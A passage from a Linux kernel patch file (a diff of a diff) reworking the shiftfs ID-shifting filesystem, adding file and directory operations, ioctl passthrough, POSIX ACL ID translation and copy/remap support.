-+		return -EOPNOTSUPP;
-+
-+	oldcred = shiftfs_override_creds(dir->i_sb);
-+	err = loweri->i_op->tmpfile(loweri, lowerd, mode);
-+	revert_creds(oldcred);
- 
- 	return err;
- }
- 
- static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- {
--	struct dentry *real = dentry->d_fsdata;
--	struct inode *reali = real->d_inode;
--	const struct inode_operations *iop = reali->i_op;
-+	struct dentry *lowerd = dentry->d_fsdata;
-+	struct inode *loweri = lowerd->d_inode;
- 	struct iattr newattr = *attr;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
- 	struct super_block *sb = dentry->d_sb;
- 	int err;
- 
-+	err = setattr_prepare(dentry, attr);
-+	if (err)
-+		return err;
-+
- 	newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
- 	newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	inode_lock(reali);
--	if (iop->setattr)
--		err = iop->setattr(real, &newattr);
--	else
--		err = simple_setattr(real, &newattr);
--	inode_unlock(reali);
--	shiftfs_old_creds(oldcred, &newcred);
-+	inode_lock(loweri);
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	err = notify_change(lowerd, attr, NULL);
-+	revert_creds(oldcred);
-+	inode_unlock(loweri);
- 
--	if (err)
--		return err;
-+	shiftfs_copyattr(loweri, d_inode(dentry));
- 
--	/* all OK, reflect the change on our inode */
--	setattr_copy(d_inode(dentry), attr);
--	return 0;
-+	return err;
- }
- 
- static int shiftfs_getattr(const struct path *path, struct kstat *stat,
- 			   u32 request_mask, unsigned int query_flags)
- {
- 	struct inode *inode = path->dentry->d_inode;
--	struct dentry *real = path->dentry->d_fsdata;
--	struct inode *reali = real->d_inode;
--	const struct inode_operations *iop = reali->i_op;
--	struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real };
--	int err = 0;
--
--	if (iop->getattr)
--		err = iop->getattr(&newpath, stat, request_mask, query_flags);
--	else
--		generic_fillattr(reali, stat);
-+	struct dentry *lowerd = path->dentry->d_fsdata;
-+	struct inode *loweri = lowerd->d_inode;
-+	struct shiftfs_super_info *info = path->dentry->d_sb->s_fs_info;
-+	struct path newpath = { .mnt = info->mnt, .dentry = lowerd };
-+	struct user_namespace *from_ns = loweri->i_sb->s_user_ns;
-+	struct user_namespace *to_ns = inode->i_sb->s_user_ns;
-+	const struct cred *oldcred;
-+	int err;
-+
-+	oldcred = shiftfs_override_creds(inode->i_sb);
-+	err = vfs_getattr(&newpath, stat, request_mask, query_flags);
-+	revert_creds(oldcred);
- 
- 	if (err)
- 		return err;
- 
- 	/* transform the underlying id */
--	stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid));
--	stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid));
-+	stat->uid = shift_kuid(from_ns, to_ns, stat->uid);
-+	stat->gid = shift_kgid(from_ns, to_ns, stat->gid);
- 	return 0;
- }
- 
--static const struct inode_operations shiftfs_inode_ops = {
--	.lookup		= shiftfs_lookup,
--	.getattr	= shiftfs_getattr,
--	.setattr	= shiftfs_setattr,
--	.permission	= shiftfs_permission,
--	.mkdir		= shiftfs_mkdir,
--	.symlink	= shiftfs_symlink,
--	.get_link	= shiftfs_get_link,
--	.readlink	= shiftfs_readlink,
--	.unlink		= shiftfs_unlink,
--	.rmdir		= shiftfs_rmdir,
--	.rename		= shiftfs_rename,
--	.link		= shiftfs_link,
--	.create		= shiftfs_create,
--	.mknod		= NULL,	/* no special files currently */
--	.listxattr	= shiftfs_listxattr,
--};
-+#ifdef CONFIG_SHIFT_FS_POSIX_ACL
- 
--static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
--				       struct dentry *dentry)
-+static int
-+shift_acl_ids(struct user_namespace *from, struct user_namespace *to,
-+	      struct posix_acl *acl)
- {
--	struct inode *inode;
--
--	inode = new_inode(sb);
--	if (!inode)
--		return NULL;
--
--	/*
--	 * our inode is completely vestigial.  All lookups, getattr
--	 * and permission checks are done on the underlying inode, so
--	 * what the user sees is entirely from the underlying inode.
--	 */
--	mode &= S_IFMT;
-+	int i;
-+
-+	for (i = 0; i < acl->a_count; i++) {
-+		struct posix_acl_entry *e = &acl->a_entries[i];
-+		switch(e->e_tag) {
-+		case ACL_USER:
-+			e->e_uid = shift_kuid(from, to, e->e_uid);
-+			if (!uid_valid(e->e_uid))
-+				return -EOVERFLOW;
-+			break;
-+		case ACL_GROUP:
-+			e->e_gid = shift_kgid(from, to, e->e_gid);
-+			if (!gid_valid(e->e_gid))
-+				return -EOVERFLOW;
-+			break;
-+		}
-+	}
-+	return 0;
-+}
- 
--	inode->i_ino = get_next_ino();
--	inode->i_mode = mode;
--	inode->i_flags |= S_NOATIME | S_NOCMTIME;
-+static void
-+shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
-+		    void *value, size_t size)
-+{
-+	struct posix_acl_xattr_header *header = value;
-+	struct posix_acl_xattr_entry *entry = (void *)(header + 1), *end;
-+	int count;
-+	kuid_t kuid;
-+	kgid_t kgid;
- 
--	inode->i_op = &shiftfs_inode_ops;
-+	if (!value)
-+		return;
-+	if (size < sizeof(struct posix_acl_xattr_header))
-+		return;
-+	if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION))
-+		return;
- 
--	shiftfs_fill_inode(inode, dentry);
-+	count = posix_acl_xattr_count(size);
-+	if (count < 0)
-+		return;
-+	if (count == 0)
-+		return;
- 
--	return inode;
-+	for (end = entry + count; entry != end; entry++) {
-+		switch(le16_to_cpu(entry->e_tag)) {
-+		case ACL_USER:
-+			kuid = make_kuid(&init_user_ns, le32_to_cpu(entry->e_id));
-+			kuid = shift_kuid(from, to, kuid);
-+			entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid));
-+			break;
-+		case ACL_GROUP:
-+			kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id));
-+			kgid = shift_kgid(from, to, kgid);
-+			entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid));
-+			break;
-+		default:
-+			break;
-+		}
-+	}
- }
- 
--static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
-+static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
- {
--	struct super_block *sb = dentry->d_sb;
--	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+	struct inode *loweri = inode->i_private;
-+	const struct cred *oldcred;
-+	struct posix_acl *lower_acl, *acl = NULL;
-+	struct user_namespace *from_ns = loweri->i_sb->s_user_ns;
-+	struct user_namespace *to_ns = inode->i_sb->s_user_ns;
-+	int size;
-+	int err;
- 
--	if (ssi->mark)
--		seq_show_option(m, "mark", NULL);
-+	if (!IS_POSIXACL(loweri))
-+		return NULL;
- 
--	return 0;
--}
-+	oldcred = shiftfs_override_creds(inode->i_sb);
-+	lower_acl = get_acl(loweri, type);
-+	revert_creds(oldcred);
- 
--static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
--{
--	struct super_block *sb = dentry->d_sb;
--	struct shiftfs_super_info *ssi = sb->s_fs_info;
--	struct dentry *root = sb->s_root;
--	struct dentry *realroot = root->d_fsdata;
--	struct path realpath = { .mnt = ssi->mnt, .dentry = realroot };
--	int err;
-+	if (lower_acl && !IS_ERR(lower_acl)) {
-+		/* XXX: export posix_acl_clone? */
-+		size = sizeof(struct posix_acl) +
-+		       lower_acl->a_count * sizeof(struct posix_acl_entry);
-+		acl = kmemdup(lower_acl, size, GFP_KERNEL);
-+		posix_acl_release(lower_acl);
- 
--	err = vfs_statfs(&realpath, buf);
--	if (err)
--		return err;
-+		if (!acl)
-+			return ERR_PTR(-ENOMEM);
- 
--	buf->f_type = sb->s_magic;
-+		refcount_set(&acl->a_refcount, 1);
- 
--	return 0;
-+		err = shift_acl_ids(from_ns, to_ns, acl);
-+		if (err) {
-+			kfree(acl);
-+			return ERR_PTR(err);
-+		}
-+	}
-+
-+	return acl;
- }
- 
--static void shiftfs_put_super(struct super_block *sb)
-+static int
-+shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler,
-+			   struct dentry *dentry, struct inode *inode,
-+			   const char *name, void *buffer, size_t size)
- {
--	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+	struct inode *loweri = inode->i_private;
-+	int ret;
-+
-+	ret = shiftfs_xattr_get(NULL, dentry, inode, handler->name,
-+				buffer, size);
-+	if (ret < 0)
-+		return ret;
- 
--	mntput(ssi->mnt);
--	put_user_ns(ssi->userns);
--	kfree(ssi);
-+	inode_lock(loweri);
-+	shift_acl_xattr_ids(loweri->i_sb->s_user_ns, inode->i_sb->s_user_ns,
-+			    buffer, size);
-+	inode_unlock(loweri);
-+	return ret;
- }
- 
--static const struct xattr_handler shiftfs_xattr_handler = {
--	.prefix = "",
--	.get    = shiftfs_xattr_get,
--	.set    = shiftfs_xattr_set,
--};
-+static int
-+shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
-+			    struct dentry *dentry, struct inode *inode,
-+			    const char *name, const void *value,
-+			    size_t size, int flags)
-+{
-+	struct inode *loweri = inode->i_private;
-+	int err;
- 
--const struct xattr_handler *shiftfs_xattr_handlers[] = {
--	&shiftfs_xattr_handler,
--	NULL
--};
-+	if (!IS_POSIXACL(loweri) || !loweri->i_op->set_acl)
-+		return -EOPNOTSUPP;
-+	if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
-+		return value ? -EACCES : 0;
-+	if (!inode_owner_or_capable(inode))
-+		return -EPERM;
-+
-+	if (value) {
-+		shift_acl_xattr_ids(inode->i_sb->s_user_ns,
-+				    loweri->i_sb->s_user_ns,
-+				    (void *)value, size);
-+		err = shiftfs_setxattr(dentry, inode, handler->name, value,
-+				       size, flags);
-+	} else {
-+		err = shiftfs_removexattr(dentry, handler->name);
-+	}
- 
--static const struct super_operations shiftfs_super_ops = {
--	.put_super	= shiftfs_put_super,
--	.show_options	= shiftfs_show_options,
--	.statfs		= shiftfs_statfs,
-+	if (!err)
-+		shiftfs_copyattr(loweri, inode);
-+
-+	return err;
-+}
-+
-+static const struct xattr_handler
-+shiftfs_posix_acl_access_xattr_handler = {
-+	.name = XATTR_NAME_POSIX_ACL_ACCESS,
-+	.flags = ACL_TYPE_ACCESS,
-+	.get = shiftfs_posix_acl_xattr_get,
-+	.set = shiftfs_posix_acl_xattr_set,
- };
- 
--struct shiftfs_data {
--	void *data;
--	const char *path;
-+static const struct xattr_handler
-+shiftfs_posix_acl_default_xattr_handler = {
-+	.name = XATTR_NAME_POSIX_ACL_DEFAULT,
-+	.flags = ACL_TYPE_DEFAULT,
-+	.get = shiftfs_posix_acl_xattr_get,
-+	.set = shiftfs_posix_acl_xattr_set,
- };
- 
--static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
--			      int silent)
--{
--	struct shiftfs_data *data = raw_data;
--	char *name = kstrdup(data->path, GFP_KERNEL);
--	int err = -ENOMEM;
--	struct shiftfs_super_info *ssi = NULL;
--	struct path path;
--	struct dentry *dentry;
-+#else /* !CONFIG_SHIFT_FS_POSIX_ACL */
- 
--	if (!name)
--		goto out;
-+#define shiftfs_get_acl NULL
- 
--	ssi = kzalloc(sizeof(*ssi), GFP_KERNEL);
--	if (!ssi)
--		goto out;
-+#endif /* CONFIG_SHIFT_FS_POSIX_ACL */
- 
--	err = -EPERM;
--	err = shiftfs_parse_options(ssi, data->data);
-+static const struct inode_operations shiftfs_dir_inode_operations = {
-+	.lookup		= shiftfs_lookup,
-+	.mkdir		= shiftfs_mkdir,
-+	.symlink	= shiftfs_symlink,
-+	.unlink		= shiftfs_unlink,
-+	.rmdir		= shiftfs_rmdir,
-+	.rename		= shiftfs_rename,
-+	.link		= shiftfs_link,
-+	.setattr	= shiftfs_setattr,
-+	.create		= shiftfs_create,
-+	.mknod		= shiftfs_mknod,
-+	.permission	= shiftfs_permission,
-+	.getattr	= shiftfs_getattr,
-+	.listxattr	= shiftfs_listxattr,
-+	.get_acl	= shiftfs_get_acl,
-+};
-+
-+static const struct inode_operations shiftfs_file_inode_operations = {
-+	.fiemap		= shiftfs_fiemap,
-+	.getattr	= shiftfs_getattr,
-+	.get_acl	= shiftfs_get_acl,
-+	.listxattr	= shiftfs_listxattr,
-+	.permission	= shiftfs_permission,
-+	.setattr	= shiftfs_setattr,
-+	.tmpfile	= shiftfs_tmpfile,
-+};
-+
-+static const struct inode_operations shiftfs_special_inode_operations = {
-+	.getattr	= shiftfs_getattr,
-+	.get_acl	= shiftfs_get_acl,
-+	.listxattr	= shiftfs_listxattr,
-+	.permission	= shiftfs_permission,
-+	.setattr	= shiftfs_setattr,
-+};
-+
-+static const struct inode_operations shiftfs_symlink_inode_operations = {
-+	.getattr	= shiftfs_getattr,
-+	.get_link	= shiftfs_get_link,
-+	.listxattr	= shiftfs_listxattr,
-+	.setattr	= shiftfs_setattr,
-+};
-+
-+static struct file *shiftfs_open_realfile(const struct file *file,
-+					  struct path *realpath)
-+{
-+	struct file *lowerf;
-+	const struct cred *oldcred;
-+	struct inode *inode = file_inode(file);
-+	struct inode *loweri = realpath->dentry->d_inode;
-+	struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
-+
-+	oldcred = shiftfs_override_creds(inode->i_sb);
-+	/* XXX: open_with_fake_path() not gauranteed to stay around, if
-+	 * removed use dentry_open() */
-+	lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred);
-+	revert_creds(oldcred);
-+
-+	return lowerf;
-+}
-+
-+#define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT)
-+
-+static int shiftfs_change_flags(struct file *file, unsigned int flags)
-+{
-+	struct inode *inode = file_inode(file);
-+	int err;
-+
-+	/* if some flag changed that cannot be changed then something's amiss */
-+	if (WARN_ON((file->f_flags ^ flags) & ~SHIFTFS_SETFL_MASK))
-+		return -EIO;
-+
-+	flags &= SHIFTFS_SETFL_MASK;
-+
-+	if (((flags ^ file->f_flags) & O_APPEND) && IS_APPEND(inode))
-+		return -EPERM;
-+
-+	if (flags & O_DIRECT) {
-+		if (!file->f_mapping->a_ops ||
-+		    !file->f_mapping->a_ops->direct_IO)
-+			return -EINVAL;
-+	}
-+
-+	if (file->f_op->check_flags) {
-+		err = file->f_op->check_flags(flags);
-+		if (err)
-+			return err;
-+	}
-+
-+	spin_lock(&file->f_lock);
-+	file->f_flags = (file->f_flags & ~SHIFTFS_SETFL_MASK) | flags;
-+	spin_unlock(&file->f_lock);
-+
-+	return 0;
-+}
-+
-+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
-+{
-+	struct shiftfs_file_info *file_info = file->private_data;
-+	struct file *realfile = file_info->realfile;
-+
-+	lowerfd->flags = 0;
-+	lowerfd->file = realfile;
-+
-+	/* Did the flags change since open? */
-+	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
-+		return shiftfs_change_flags(lowerfd->file, file->f_flags);
-+
-+	return 0;
-+}
-+
-+static int shiftfs_open(struct inode *inode, struct file *file)
-+{
-+	struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info;
-+	struct shiftfs_file_info *file_info;
-+	struct file *realfile;
-+	struct path *realpath;
-+
-+	file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL);
-+	if (!file_info)
-+		return -ENOMEM;
-+
-+	realpath = &file_info->realpath;
-+	realpath->mnt = ssi->mnt;
-+	realpath->dentry = file->f_path.dentry->d_fsdata;
-+
-+	realfile = shiftfs_open_realfile(file, realpath);
-+	if (IS_ERR(realfile)) {
-+		kmem_cache_free(shiftfs_file_info_cache, file_info);
-+		return PTR_ERR(realfile);
-+	}
-+
-+	file->private_data = file_info;
-+	file_info->realfile = realfile;
-+	return 0;
-+}
-+
-+static int shiftfs_release(struct inode *inode, struct file *file)
-+{
-+	struct shiftfs_file_info *file_info = file->private_data;
-+
-+	if (file_info) {
-+		if (file_info->realfile)
-+			fput(file_info->realfile);
-+
-+		kmem_cache_free(shiftfs_file_info_cache, file_info);
-+	}
-+
-+	return 0;
-+}
-+
-+static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence)
-+{
-+	struct inode *realinode = file_inode(file)->i_private;
-+
-+	return generic_file_llseek_size(file, offset, whence,
-+					realinode->i_sb->s_maxbytes,
-+					i_size_read(realinode));
-+}
-+
-+/* XXX: Need to figure out what to to about atime updates, maybe other
-+ * timestamps too ... ref. ovl_file_accessed() */
-+
-+static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb)
-+{
-+	int ifl = iocb->ki_flags;
-+	rwf_t flags = 0;
-+
-+	if (ifl & IOCB_NOWAIT)
-+		flags |= RWF_NOWAIT;
-+	if (ifl & IOCB_HIPRI)
-+		flags |= RWF_HIPRI;
-+	if (ifl & IOCB_DSYNC)
-+		flags |= RWF_DSYNC;
-+	if (ifl & IOCB_SYNC)
-+		flags |= RWF_SYNC;
-+
-+	return flags;
-+}
-+
-+static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter)
-+{
-+	struct file *file = iocb->ki_filp;
-+	struct fd lowerfd;
-+	const struct cred *oldcred;
-+	ssize_t ret;
-+
-+	if (!iov_iter_count(iter))
-+		return 0;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		return ret;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	ret = vfs_iter_read(lowerfd.file, iter, &iocb->ki_pos,
-+			    shiftfs_iocb_to_rwf(iocb));
-+	revert_creds(oldcred);
-+
-+	shiftfs_file_accessed(file);
-+
-+	fdput(lowerfd);
-+	return ret;
-+}
-+
-+static ssize_t shiftfs_write_iter(struct kiocb *iocb, struct iov_iter *iter)
-+{
-+	struct file *file = iocb->ki_filp;
-+	struct inode *inode = file_inode(file);
-+	struct fd lowerfd;
-+	const struct cred *oldcred;
-+	ssize_t ret;
-+
-+	if (!iov_iter_count(iter))
-+		return 0;
-+
-+	inode_lock(inode);
-+	/* Update mode */
-+	shiftfs_copyattr(inode->i_private, inode);
-+	ret = file_remove_privs(file);
-+	if (ret)
-+		goto out_unlock;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		goto out_unlock;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	file_start_write(lowerfd.file);
-+	ret = vfs_iter_write(lowerfd.file, iter, &iocb->ki_pos,
-+			     shiftfs_iocb_to_rwf(iocb));
-+	file_end_write(lowerfd.file);
-+	revert_creds(oldcred);
-+
-+	/* Update size */
-+	shiftfs_copyattr(inode->i_private, inode);
-+
-+	fdput(lowerfd);
-+
-+out_unlock:
-+	inode_unlock(inode);
-+	return ret;
-+}
-+
-+static int shiftfs_fsync(struct file *file, loff_t start, loff_t end,
-+			 int datasync)
-+{
-+	struct fd lowerfd;
-+	const struct cred *oldcred;
-+	int ret;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		return ret;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	ret = vfs_fsync_range(lowerfd.file, start, end, datasync);
-+	revert_creds(oldcred);
-+
-+	fdput(lowerfd);
-+	return ret;
-+}
-+
-+static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
-+{
-+	struct shiftfs_file_info *file_info = file->private_data;
-+	struct file *realfile = file_info->realfile;
-+	const struct cred *oldcred;
-+	int ret;
-+
-+	if (!realfile->f_op->mmap)
-+		return -ENODEV;
-+
-+	if (WARN_ON(file != vma->vm_file))
-+		return -EIO;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	vma->vm_file = get_file(realfile);
-+	ret = call_mmap(vma->vm_file, vma);
-+	revert_creds(oldcred);
-+
-+	shiftfs_file_accessed(file);
-+
-+	if (ret)
-+		fput(realfile); /* Drop refcount from new vm_file value */
-+	else
-+		fput(file); /* Drop refcount from previous vm_file value */
-+
-+	return ret;
-+}
-+
-+static long shiftfs_fallocate(struct file *file, int mode, loff_t offset,
-+			      loff_t len)
-+{
-+	struct inode *inode = file_inode(file);
-+	struct inode *loweri = inode->i_private;
-+	struct fd lowerfd;
-+	const struct cred *oldcred;
-+	int ret;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		return ret;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	ret = vfs_fallocate(lowerfd.file, mode, offset, len);
-+	revert_creds(oldcred);
-+
-+	/* Update size */
-+	shiftfs_copyattr(loweri, inode);
-+
-+	fdput(lowerfd);
-+	return ret;
-+}
-+
-+static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len,
-+			   int advice)
-+{
-+	struct fd lowerfd;
-+	const struct cred *oldcred;
-+	int ret;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		return ret;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	ret = vfs_fadvise(lowerfd.file, offset, len, advice);
-+	revert_creds(oldcred);
-+
-+	fdput(lowerfd);
-+	return ret;
-+}
-+
-+static int shiftfs_override_ioctl_creds(const struct super_block *sb,
-+					const struct cred **oldcred,
-+					struct cred **newcred)
-+{
-+	kuid_t fsuid = current_fsuid();
-+	kgid_t fsgid = current_fsgid();
-+
-+	*oldcred = shiftfs_override_creds(sb);
-+
-+	*newcred = prepare_creds();
-+	if (!*newcred) {
-+		revert_creds(*oldcred);
-+		return -ENOMEM;
-+	}
-+
-+	(*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
-+	(*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
-+
-+	/* clear all caps to prevent bypassing capable() checks */
-+	cap_clear((*newcred)->cap_bset);
-+	cap_clear((*newcred)->cap_effective);
-+	cap_clear((*newcred)->cap_inheritable);
-+	cap_clear((*newcred)->cap_permitted);
-+
-+	put_cred(override_creds(*newcred));
-+	return 0;
-+}
-+
-+static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred,
-+					      struct cred *newcred)
-+{
-+	return shiftfs_revert_object_creds(oldcred, newcred);
-+}
-+
-+static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
-+			       unsigned long arg)
-+{
-+	long ret = 0;
-+	struct fd lowerfd;
-+	struct cred *newcred;
-+	const struct cred *oldcred;
-+	struct super_block *sb = file->f_path.dentry->d_sb;
-+
-+	ret = shiftfs_real_fdget(file, &lowerfd);
-+	if (ret)
-+		return ret;
-+
-+	ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
-+	if (ret)
-+		goto out_fdput;
-+
-+	ret = vfs_ioctl(lowerfd.file, cmd, arg);
-+
-+	shiftfs_revert_ioctl_creds(oldcred, newcred);
-+
-+	shiftfs_copyattr(file_inode(lowerfd.file), file_inode(file));
-+	shiftfs_copyflags(file_inode(lowerfd.file), file_inode(file));
-+
-+out_fdput:
-+	fdput(lowerfd);
-+
-+	return ret;
-+}
-+
-+static long shiftfs_ioctl(struct file *file, unsigned int cmd,
-+			  unsigned long arg)
-+{
-+	switch (cmd) {
-+	case FS_IOC_GETVERSION:
-+		/* fall through */
-+	case FS_IOC_GETFLAGS:
-+		/* fall through */
-+	case FS_IOC_SETFLAGS:
-+		break;
-+	default:
-+		return -ENOTTY;
-+	}
-+
-+	return shiftfs_real_ioctl(file, cmd, arg);
-+}
-+
-+static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
-+				 unsigned long arg)
-+{
-+	switch (cmd) {
-+	case FS_IOC32_GETVERSION:
-+		/* fall through */
-+	case FS_IOC32_GETFLAGS:
-+		/* fall through */
-+	case FS_IOC32_SETFLAGS:
-+		break;
-+	default:
-+		return -ENOIOCTLCMD;
-+	}
-+
-+	return shiftfs_real_ioctl(file, cmd, arg);
-+}
-+
-+enum shiftfs_copyop {
-+	SHIFTFS_COPY,
-+	SHIFTFS_CLONE,
-+	SHIFTFS_DEDUPE,
-+};
-+
-+static ssize_t shiftfs_copyfile(struct file *file_in, loff_t pos_in,
-+				struct file *file_out, loff_t pos_out, u64 len,
-+				unsigned int flags, enum shiftfs_copyop op)
-+{
-+	ssize_t ret;
-+	struct fd real_in, real_out;
-+	const struct cred *oldcred;
-+	struct inode *inode_out = file_inode(file_out);
-+	struct inode *loweri = inode_out->i_private;
-+
-+	ret = shiftfs_real_fdget(file_out, &real_out);
-+	if (ret)
-+		return ret;
-+
-+	ret = shiftfs_real_fdget(file_in, &real_in);
-+	if (ret) {
-+		fdput(real_out);
-+		return ret;
-+	}
-+
-+	oldcred = shiftfs_override_creds(inode_out->i_sb);
-+	switch (op) {
-+	case SHIFTFS_COPY:
-+		ret = vfs_copy_file_range(real_in.file, pos_in, real_out.file,
-+					  pos_out, len, flags);
-+		break;
-+
-+	case SHIFTFS_CLONE:
-+		ret = vfs_clone_file_range(real_in.file, pos_in, real_out.file,
-+					   pos_out, len, flags);
-+		break;
-+
-+	case SHIFTFS_DEDUPE:
-+		ret = vfs_dedupe_file_range_one(real_in.file, pos_in,
-+						real_out.file, pos_out, len,
-+						flags);
-+		break;
-+	}
-+	revert_creds(oldcred);
-+
-+	/* Update size */
-+	shiftfs_copyattr(loweri, inode_out);
-+
-+	fdput(real_in);
-+	fdput(real_out);
-+
-+	return ret;
-+}
-+
-+static ssize_t shiftfs_copy_file_range(struct file *file_in, loff_t pos_in,
-+				       struct file *file_out, loff_t pos_out,
-+				       size_t len, unsigned int flags)
-+{
-+	return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len, flags,
-+				SHIFTFS_COPY);
-+}
-+
-+static loff_t shiftfs_remap_file_range(struct file *file_in, loff_t pos_in,
-+				       struct file *file_out, loff_t pos_out,
-+				       loff_t len, unsigned int remap_flags)
-+{
-+	enum shiftfs_copyop op;
-+
-+	if (remap_flags & ~(REMAP_FILE_DEDUP | REMAP_FILE_ADVISORY))
-+		return -EINVAL;
-+
-+	if (remap_flags & REMAP_FILE_DEDUP)
-+		op = SHIFTFS_DEDUPE;
-+	else
-+		op = SHIFTFS_CLONE;
-+
-+	return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len,
-+				remap_flags, op);
-+}
-+
-+static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
-+{
-+	const struct cred *oldcred;
-+	int err = -ENOTDIR;
-+	struct shiftfs_file_info *file_info = file->private_data;
-+	struct file *realfile = file_info->realfile;
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	err = iterate_dir(realfile, ctx);
-+	revert_creds(oldcred);
-+
-+	return err;
-+}
-+
-+const struct file_operations shiftfs_file_operations = {
-+	.open			= shiftfs_open,
-+	.release		= shiftfs_release,
-+	.llseek			= shiftfs_llseek,
-+	.read_iter		= shiftfs_read_iter,
-+	.write_iter		= shiftfs_write_iter,
-+	.fsync			= shiftfs_fsync,
-+	.mmap			= shiftfs_mmap,
-+	.fallocate		= shiftfs_fallocate,
-+	.fadvise		= shiftfs_fadvise,
-+	.unlocked_ioctl		= shiftfs_ioctl,
-+	.compat_ioctl		= shiftfs_compat_ioctl,
-+	.copy_file_range	= shiftfs_copy_file_range,
-+	.remap_file_range	= shiftfs_remap_file_range,
-+};
-+
-+const struct file_operations shiftfs_dir_operations = {
-+	.compat_ioctl		= shiftfs_compat_ioctl,
-+	.fsync			= shiftfs_fsync,
-+	.iterate_shared		= shiftfs_iterate_shared,
-+	.llseek			= shiftfs_llseek,
-+	.open			= shiftfs_open,
-+	.read			= generic_read_dir,
-+	.release		= shiftfs_release,
-+	.unlocked_ioctl		= shiftfs_ioctl,
-+};
-+
-+static const struct address_space_operations shiftfs_aops = {
-+	/* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO */
-+	.direct_IO	= noop_direct_IO,
-+};
-+
-+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
-+			       umode_t mode, dev_t dev, struct dentry *dentry)
-+{
-+	struct inode *loweri;
-+
-+	inode->i_ino = ino;
-+	inode->i_flags |= S_NOCMTIME;
-+
-+	mode &= S_IFMT;
-+	inode->i_mode = mode;
-+	switch (mode & S_IFMT) {
-+	case S_IFDIR:
-+		inode->i_op = &shiftfs_dir_inode_operations;
-+		inode->i_fop = &shiftfs_dir_operations;
-+		break;
-+	case S_IFLNK:
-+		inode->i_op = &shiftfs_symlink_inode_operations;
-+		break;
-+	case S_IFREG:
-+		inode->i_op = &shiftfs_file_inode_operations;
-+		inode->i_fop = &shiftfs_file_operations;
-+		inode->i_mapping->a_ops = &shiftfs_aops;
-+		break;
-+	default:
-+		inode->i_op = &shiftfs_special_inode_operations;
-+		init_special_inode(inode, mode, dev);
-+		break;
-+	}
-+
-+	if (!dentry)
-+		return;
-+
-+	loweri = dentry->d_inode;
-+	if (!loweri->i_op->get_link)
-+		inode->i_opflags |= IOP_NOFOLLOW;
-+
-+	shiftfs_copyattr(loweri, inode);
-+	shiftfs_copyflags(loweri, inode);
-+	set_nlink(inode, loweri->i_nlink);
-+}
-+
-+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
-+{
-+	struct super_block *sb = dentry->d_sb;
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
-+
-+	if (sbinfo->mark)
-+		seq_show_option(m, "mark", NULL);
-+
-+	if (sbinfo->passthrough)
-+		seq_printf(m, ",passthrough=%u", sbinfo->passthrough);
-+
-+	return 0;
-+}
-+
-+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
-+{
-+	struct super_block *sb = dentry->d_sb;
